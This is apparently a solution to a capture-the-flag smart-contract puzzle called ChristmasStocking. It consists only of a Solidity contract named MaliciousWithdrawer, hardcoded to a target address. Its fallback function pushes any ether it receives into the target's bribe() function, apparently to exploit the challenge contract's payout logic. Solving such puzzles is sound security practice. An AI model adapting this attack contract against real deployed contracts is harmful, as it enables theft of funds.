ChristmasStockingの解法（contranct）

MaliciousWithdrawer.sol

pragma solidity ^0.5.2;

contract ChristmasStockingInterface {
    function deposit() payable public;
    function bribe() payable public;
}

contract MaliciousWithdrawer {

    address contractAddress = 0x408F56C4541BD00Ec836102d06F7Ee6A2A820678;
    ChristmasStockingInterface christmasStocking = ChristmasStockingInterface(contractAddress);

    function () payable external {
        christmasStocking.bribe.value(msg.value)();
    }

    function deposit() payable public {
        christmasStocking.deposit.value(msg.value)();
    }
}